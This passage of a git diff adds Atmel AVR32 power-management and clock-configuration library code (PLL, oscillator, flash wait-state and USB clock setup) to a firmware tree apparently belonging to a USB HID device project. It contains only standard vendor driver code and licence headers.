+ } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + // Enable PLL0 + pm_pll_enable(&AVR32_PM, 0); + + // Wait for PLL0 locked + pm_wait_for_pll0_locked(&AVR32_PM); + + if (div2_cpu) + { + b_div2_cpu = TRUE; + div2_cpu--; + } + else + b_div2_cpu = FALSE; + + if (div2_pba) + { + b_div2_pba = TRUE; + div2_pba--; + } + else + b_div2_pba = FALSE; + + pm_cksel(&AVR32_PM + , b_div2_pba, div2_pba // PBA + , b_div2_cpu, div2_cpu // PBB + , b_div2_cpu, div2_cpu // HSB + ); + + if (param->cpu_f > AVR32_FLASHC_FWS_0_MAX_FREQ) + { + flashc_set_wait_state(1); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + else + { + flashc_set_wait_state(0); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + + pm_switch_to_clock(&AVR32_PM, AVR32_PM_MCCTRL_MCSEL_PLL0); + + return PM_FREQ_STATUS_OK; +} + + +void pm_configure_usb_clock(void) +{ +#if UC3A3 + + // Setup USB GCLK. + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc + 0, // osc_or_pll: use Osc (if 0) or PLL (if 1) + 0, // pll_osc: select Osc0/PLL0 or Osc1/PLL1 + 0, // diven + 0); // div + + // Enable USB GCLK. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#else + // Use 12MHz from OSC0 and generate 96 MHz + pm_pll_setup(&AVR32_PM, 1, // pll. + 7, // mul. + 1, // div. + 0, // osc. + 16); // lockcount. + + pm_pll_set_option(&AVR32_PM, 1, // pll. + 1, // pll_freq: choose the range 80-180MHz. + 1, // pll_div2. + 0); // pll_wbwdisable. + + // start PLL1 and wait forl lock + pm_pll_enable(&AVR32_PM, 1); + + // Wait for PLL1 locked. + pm_wait_for_pll1_locked(&AVR32_PM); + + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc. + 1, // osc_or_pll: use Osc (if 0) or PLL (if 1). + 1, // pll_osc: select Osc0/PLL0 or Osc1/PLL1. + 0, // diven. + 0); // div. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#endif +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.c new file mode 100755 index 0000000..e312d1a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.c @@ -0,0 +1,575 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#include "power_clocks_lib.h" + + +//! Device-specific data +#if UC3L +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param); // FORWARD declaration +#endif + +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param); // FORWARD declaration +#endif + +long int pcl_configure_clocks(pcl_freq_param_t *param) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE + // Implementation for UC3A, UC3A3, UC3B parts. + return(pm_configure_clocks(param)); +#else + #if (defined AVR32_PM_410_H_INCLUDED ) || (defined AVR32_PM_412_H_INCLUDED ) + // Implementation for UC3C parts. + return(pcl_configure_clocks_uc3c(param)); + #else + // Implementation for UC3L parts. + return(pcl_configure_clocks_uc3l(param)); + #endif +#endif +} + + +//! Device-specific implementation +#if UC3L +// FORWARD declaration +static long int pcl_configure_synchronous_clocks( pm_clk_src_t main_clk_src, + unsigned long main_clock_freq_hz, + pcl_freq_param_t *param); + +long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_SLOWCLOCK_FREQ_HZ) || (param->pba_f > SCIF_SLOWCLOCK_FREQ_HZ) + || (param->pbb_f > SCIF_SLOWCLOCK_FREQ_HZ)) + return(-1); +#endif + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_SLOW, SCIF_SLOWCLOCK_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_RC120M_FREQ_HZ) || (param->pba_f > SCIF_RC120M_FREQ_HZ) + || (param->pbb_f > SCIF_RC120M_FREQ_HZ)) + return(-1); +#endif + + // Start the 120MHz internal RCosc (RC120M) clock + scif_start_rc120M(); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_RC120M, SCIF_RC120M_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_osc0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_OSC0 + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->osc0_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, main_clock_freq); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_OSC0, main_clock_freq, param)); +} + + +long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_DFLL + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + scif_gclk_opt_t *pgc_dfllif_ref_opt; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->dfll_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target DFLL output frequency is in the correct range. + if((main_clock_freq > SCIF_DFLL_MAXFREQ_HZ) || (main_clock_freq < SCIF_DFLL_MINFREQ_HZ)) + return(-1); + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + pgc_dfllif_ref_opt = (scif_gclk_opt_t *)param->pextra_params; + // Implementation note: this implementation configures the DFLL in closed-loop + // mode (because it gives the best accuracy) which enables the generic clock CLK_DFLLIF_REF + // as a reference (RCSYS being used as the generic clock source, undivided). + scif_dfll0_closedloop_configure_and_start(pgc_dfllif_ref_opt, main_clock_freq, TRUE); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_DFLL0, main_clock_freq, param)); +} + + +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS, PCL_MC_OSC0, PCL_MC_DFLL0, PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + if(PCL_MC_RCSYS == param->main_clk_src) + { + return(pcl_configure_clocks_rcsys(param)); + } + else if(PCL_MC_RC120M == param->main_clk_src) + { + return(pcl_configure_clocks_rc120m(param)); + } + else if(PCL_MC_OSC0 == param->main_clk_src) + { + return(pcl_configure_clocks_osc0(param)); + } + else // PCL_MC_DFLL0 == param->main_clk_src + { + return(pcl_configure_clocks_dfll0(param)); + } +} + +static long int pcl_configure_synchronous_clocks(pm_clk_src_t main_clk_src, unsigned long main_clock_freq_hz, pcl_freq_param_t *param) +{ + //# + //# Set the Synchronous clock division ratio for each clock domain + //# + pm_set_all_cksel(main_clock_freq_hz, param->cpu_f, param->pba_f, param->pbb_f); + + //# + //# Set the Flash wait state and the speed read mode (depending on the target CPU frequency). + //# +#if UC3L + flashcdw_set_flash_waitstate_and_readmode(param->cpu_f); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(param->cpu_f); +#endif + + + //# + //# Switch the main clock source to the selected clock. + //# + pm_set_mclk_source(main_clk_src); + + return PASS; +} + +#endif // UC3L device-specific implementation + +//! UC3C Device-specific implementation +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param) +{ + #define PM_MAX_MUL ((1 << AVR32_SCIF_PLLMUL_SIZE) - 1) + #define AVR32_PM_PBA_MAX_FREQ 66000000 + #define AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ 240000000 + #define AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ 160000000 + + // Implementation for UC3C parts. + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + Bool b_div2_pba, b_div2_cpu; + + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, in_osc0_f); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PASS; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + scif_pll_opt_t opt; + + opt.osc = SCIF_OSC0, // Sel Osc0 or Osc1 + opt.lockcount = 16, // lockcount in main clock for the PLL wait lock + opt.div = div, // DIV=1 in the formula + opt.mul = mul, // MUL=7 in the formula + opt.pll_div2 = div2_en, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + opt.pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + opt.pll_freq = (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + + + scif_pll_setup(SCIF_PLL0, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL0 */ + scif_pll_enable(SCIF_PLL0); + + /* Wait for PLL0 locked */ + scif_wait_for_pll_locked(SCIF_PLL0) ; + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + + if (div2_cpu) + { + b_div2_cpu = TRUE; + div2_cpu--; + } + else + b_div2_cpu = FALSE; + + if (div2_pba) + { + b_div2_pba = TRUE; + div2_pba--; + } + else + b_div2_pba = FALSE; + + if (b_div2_cpu == TRUE ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_0, (pm_divratio_t) div2_cpu); // CPU + pm_set_clk_domain_div(PM_CLK_DOMAIN_1, (pm_divratio_t) div2_cpu); // HSB + pm_set_clk_domain_div(PM_CLK_DOMAIN_3, (pm_divratio_t) div2_cpu); // PBB + } + if (b_div2_pba == TRUE ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_2, (pm_divratio_t) div2_pba); // PBA + pm_set_clk_domain_div(PM_CLK_DOMAIN_4, (pm_divratio_t) div2_pba); // PBC + } + + // Set Flashc Wait State + flashc_set_flash_waitstate_and_readmode(param->cpu_f); + + // Set the main clock source as being PLL0. + pm_set_mclk_source(PM_CLK_SRC_PLL0); + + return PASS; +} +#endif // UC3C device-specific implementation + +long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency, + // enable the OSC0, set the main clock source as being OSC0. + pm_switch_to_osc0(&AVR32_PM, fcrystal, startup); + } + else + { + return PCL_NOT_SUPPORTED; + } +#else +// Implementation for UC3C, UC3L parts. + #if AVR32_PM_VERSION_RESETVALUE < 0x400 + return PCL_NOT_SUPPORTED; + #else + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, fcrystal); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, startup, true); + // Set the Flash wait state and the speed read mode (depending on the target CPU frequency). +#if UC3L + flashcdw_set_flash_waitstate_and_readmode(fcrystal); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(fcrystal); +#endif + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + } + else + { + return PCL_NOT_SUPPORTED; + } + #endif +#endif + return PASS; +} + +long int pcl_configure_usb_clock(void) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_configure_usb_clock(); + return PASS; +#else + #if UC3C + const scif_pll_opt_t opt = { + .osc = SCIF_OSC0, // Sel Osc0 or Osc1 + .lockcount = 16, // lockcount in main clock for the PLL wait lock + .div = 1, // DIV=1 in the formula + .mul = 5, // MUL=7 in the formula + .pll_div2 = 1, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + .pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + .pll_freq = 1, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + }; + + /* Setup PLL1 on Osc0, mul=7 ,no divisor, lockcount=16, ie. 16Mhzx6 = 96MHz output */ + scif_pll_setup(SCIF_PLL1, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL1 */ + scif_pll_enable(SCIF_PLL1); + + /* Wait for PLL1 locked */ + scif_wait_for_pll_locked(SCIF_PLL1) ; + + // Implementation for UC3C parts. + // Setup the generic clock for USB + scif_gc_setup( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB, +#else + AVR32_SCIF_GCLK_USBC, +#endif + SCIF_GCCTRL_PLL1, + AVR32_SCIF_GC_NO_DIV_CLOCK, + 0); + // Now enable the generic clock + scif_gc_enable( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB +#else + AVR32_SCIF_GCLK_USBC +#endif + ); + return PASS; + #else + return PCL_NOT_SUPPORTED; + #endif +#endif +} + + +#if UC3L +#else +void pcl_write_gplp(unsigned long gplp, unsigned long value) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_write_gplp(&AVR32_PM,gplp,value); +#else + scif_write_gplp(gplp,value); +#endif +} + +unsigned long pcl_read_gplp(unsigned long gplp) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + return pm_read_gplp(&AVR32_PM,gplp); +#else + return scif_read_gplp(gplp); +#endif +} +#endif diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.h new file mode 100755 index 0000000..f661873 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.h @@ -0,0 +1,381 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _POWER_CLOCKS_LIB_H_ +#define _POWER_CLOCKS_LIB_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "compiler.h" + +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. + #include "pm.h" +#else +//! Device-specific data +#if UC3L + #include "pm_uc3l.h" + #include "scif_uc3l.h" + #include "flashcdw.h" +#elif UC3C + #include "pm_uc3c.h" + #include "scif_uc3c.h" + #include "flashc.h" +#elif UC3D + #include "pm_uc3d.h" + #include "scif_uc3d.h" + #include "flashcdw.h" +#endif + #endif + +/*! \name Clocks Management + */ +//! @{ + +//! The different oscillators +typedef enum +{ + PCL_OSC0 = 0, + PCL_OSC1 = 1 +} pcl_osc_t; + +//! The different DFLLs +typedef enum +{ + PCL_DFLL0 = 0, + PCL_DFLL1 = 1 +} pcl_dfll_t; + +//! Possible Main Clock Sources +typedef enum +{ + PCL_MC_RCSYS, // Default main clock source, supported by all (aka Slow Clock) + PCL_MC_OSC0, // Supported by all + PCL_MC_OSC1, // Supported by UC3C only + PCL_MC_OSC0_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC0 as reference) + PCL_MC_OSC1_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC1 as reference) + PCL_MC_OSC0_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC0 as reference) + PCL_MC_OSC1_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC1 as reference) + PCL_MC_DFLL0, // Supported by UC3L + PCL_MC_DFLL1, // Not supported yet + PCL_MC_RC120M, // Supported by UC3L, UC3C + PCL_MC_RC8M, // Supported by UC3C + PCL_MC_CRIPOSC // Supported by UC3C +} pcl_mainclk_t; + +//! Input and output parameters to configure clocks with pcl_configure_clocks(). +// NOTE: regarding the frequency settings, always abide by the datasheet rules and min & max supported frequencies. +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. +#define pcl_freq_param_t pm_freq_param_t // See pm.h +#else +// Support for UC3C, UC3L parts. +typedef struct +{ + //! Main clock source selection (input argument). + pcl_mainclk_t main_clk_src; + + //! Target CPU frequency (input/output argument). + unsigned long cpu_f; + + //! Target PBA frequency (input/output argument). + unsigned long pba_f; + + //! Target PBB frequency (input/output argument). + unsigned long pbb_f; + + //! Target PBC frequency (input/output argument). + unsigned long pbc_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; + + //! DFLL target frequency (input/output argument) (NOTE: the bigger, the most stable the frequency) + unsigned long dfll_f; + + //! Other parameters that might be necessary depending on the device (implementation-dependent). + // For the UC3L DFLL setup, this parameter should be pointing to a structure of + // type (scif_gclk_opt_t *). + void *pextra_params; +} pcl_freq_param_t; +#endif + +//! Define "not supported" for the lib. +#define PCL_NOT_SUPPORTED (-10000) + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - main_clk_src is the id of the main clock source to use, + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * - dfll_f is the target DFLL frequency to set-up if main_clk_src is the dfll. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RCSYS osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RCSYS + * + * Supported synchronous clocks frequencies: + * 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rcsys() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RC120M osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RC120M + * + * Supported synchronous clocks frequencies: + * 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define 